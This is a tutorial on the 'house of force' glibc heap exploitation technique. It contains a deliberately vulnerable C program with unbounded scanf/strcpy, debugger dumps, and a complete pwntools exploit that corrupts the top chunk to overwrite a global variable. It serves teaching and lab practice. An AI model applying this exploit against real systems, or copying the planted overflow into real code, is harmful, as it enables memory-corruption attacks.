The house of force is an older exploitation technique that works on glibc 2.27 and lower by modifying the top chunk. The technique was first documented in Phrack 66.
The top chunk is a large chunk of unallocated heap memory. It’s size field dictates how much memory is available for the application left to allocate.
By overwriting the top chunk header size field with a large value, we can wrap around the virtual address space of an application and write to arbitrary locations.
The following conditions are required for this technique to work;
- Glibc version lower than 2.27
- A heap based overflow allowing overwriting the top chunk size field
- A heap address leak to so we know the relative offset to our write location.
Our vulnerable application leaks the heap address, and allows us to call malloc() with an arbitrary size.
No bounds checks are done on the input data, so a heap overflow can occur. Our aim is to overwrite the “target” variable which is currently stores the letter “B” 4 times.
Running the application:
./house_of_force
heap @ 0x1206000
Target : BBBB
size of malloc: 20
input data: AAAAAAAAAAA
Target : BBBB
Vulnerable Code
The below code was compiled on Ubuntu 17.04.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// gcc -Wall -g -O0 -no-pie -z norelro -z now house_of_force.c -o house_of_force
char target[7] = "BBBB\0";
char *heapChunk;
int main () {
setvbuf(stdout,(char *)0x0,2,0);
void *__ptr;
__ptr = malloc(0x8);
printf("heap @ %p\n",__ptr - 0x10);
free(__ptr);
printf("puts() @ %p\n",puts);
unsigned long mallocSize;
char inputData[256];
for (;;) {
printf("Target : %s\n", target);
printf("size of malloc: ");
scanf("%ld", &mallocSize);
printf("input data: ");
scanf("%s", inputData);
char *heapChunk;
heapChunk = (char *) malloc(mallocSize);
strcpy(heapChunk,inputData);
}
return(0);
}
Exploitation Steps
Running the vis_heap_chunks command in pwndbg shows some memory has already been allocated on the heap, and we can see the top chunk size field is set to 0x20bf1:
pwndbg> vis_heap_chunks
0x601000 0x0000000000000000 0x0000000000000411 ................
0x601010 0x0000000000000000 0x0000000000000000 ................
0x601020 0x0000000000000000 0x0000000000020fe1 ................
0x601030 0x0000000000000000 0x0000000000000000 ................
0x601040 0x0000000000000000 0x0000000000000000 ................
0x601050 0x0000000000000000 0x0000000000000000 ................
0x601060 0x0000000000000000 0x0000000000000000 ................
0x601070 0x0000000000000000 0x0000000000000000 ................
0x601080 0x0000000000000000 0x0000000000000000 ................
<truncated output>
0x601410 0x0000000000000000 0x0000000000020bf1 ............... <-- Top chunk
1. Overwrite the Top Chunk
Next, in our Python code we call malloc() in the application allocating 24 bytes, but overflowing the top chunk size field with a large negative value (in this case -1, or 0xffffffffffffffff)
malloc(24, b"A"*24 + p64(0xffffffffffffffff))
vis_heap_chunks shows the top chunk size field has been overwritten;
pwndbg> vis_heap_chunks
0x22bb000 0x0000000000000000 0x0000000000001011 ................
0x22bb010 0x4141414141414141 0x4141414141414141 AAAAAAAAAAAAAAAA
0x22bb020 0x4141414141414141 0xffffffffffffffff AAAAAAAA........
0x22bb030 0x000000000000000a 0x0000000000000000 ................
<truncated>
0x22bc010 0x0000000000000000 0x0000000000000021 ........!.......
0x22bc020 0x4141414141414141 0x4141414141414141 AAAAAAAAAAAAAAAA
0x22bc030 0x4141414141414141 0xffffffffffffffff AAAAAAAA........ <-- Top chunk
pwndbg> top_chunk
Top chunk
Addr: 0x22bc030
Size: 0xffffffffffffffff
2. Span the Gap to the Target Variable
Next, we need to calculate the distance between the current heap location, and the target variable. The heap base address that was leaked by the application is stored in the “heap” variable.
The heap address is subtracted from the target address and additional space (4200) is added to account for existing heap allocations.
# Span distance to target variable
distance = (elf.sym.target - heap - 4200)
print("Distance: " + hex(distance))
malloc(distance, b"A")
Calling malloc() using this distance will allow us to shift the top chunk address near our target variable:
pwndbg> top_chunk
Top chunk
Addr: 0x600c30
Size: 0x13f9
pwndbg> dq 0x600c30
0000000000600c30 0000000000600a28 00000000000013f9
0000000000600c40 0000000000000000 0000000000000000
0000000000600c50 0000000000000000 0000000042424242
0000000000600c60 00007ffff7dd2600 0000000000000000
pwndbg> dq &target
0000000000600c58 0000000042424242 00007ffff7dd2600
0000000000600c68 0000000000000000 0000000000000000
0000000000600c78 0000000000000000 0000000000000000
0000000000600c88 0000000000000000 0000000000000000
3. Overwrite the Target Variable
Calling malloc() once more allows us to overwrite the target variable:
malloc(30,b"A" * 30)
pwndbg> dq &target
0000000000600c58 0000414141414141 00007ffff7dd2600
0000000000600c68 00000000000013c9 0000000000000000
0000000000600c78 0000000000000000 0000000000000000
0000000000600c88 0000000000000000 0000000000000000
Script output:
python3 exploit.py
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] b'/lib/x86_64-linux-gnu/libc-2.24.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process './house_of_force': pid 9898
Heap Address 0x2129000
Target Address: 0x600c58
Distance: -0x1b29410
[*] Switching to interactive mode
Target : AAAAAA
Exploit Code
#!/usr/bin/python3
# -*- coding: future_fstrings -*-
from pwn import *
elf = context.binary = ELF("house_of_force")
libc = ELF(b"/lib/x86_64-linux-gnu/libc-2.24.so")
gs = '''
continue
'''
def start():
if args.GDB:
return gdb.debug(elf.path, gdbscript=gs)
else:
return process(elf.path)
# Select the "malloc" option, send size & data.
def malloc(size, data):
io.sendlineafter("size of malloc:", f"{size}")
io.sendlineafter("input data:", data)
io = start()
io.timeout = 1.0
io.recvuntil("heap @ ")
heap = int(io.recvline(), 16)
print(str("Heap Address ") + hex(heap))
print("Target Address: " + hex(elf.sym.target))
# Overflow top chunk with very large number, in this case -1.
# The top chunk will now span the whole program, and new requests will be
# within this address space.
malloc(24, b"A"*24 + p64(0xffffffffffffffff))
# Span distance to target variable
distance = (elf.sym.target - heap - 4200)
print("Distance: " + hex(distance))
malloc(distance, b"A")
# Overwrite memory with A characters
malloc(30,b"A" * 30)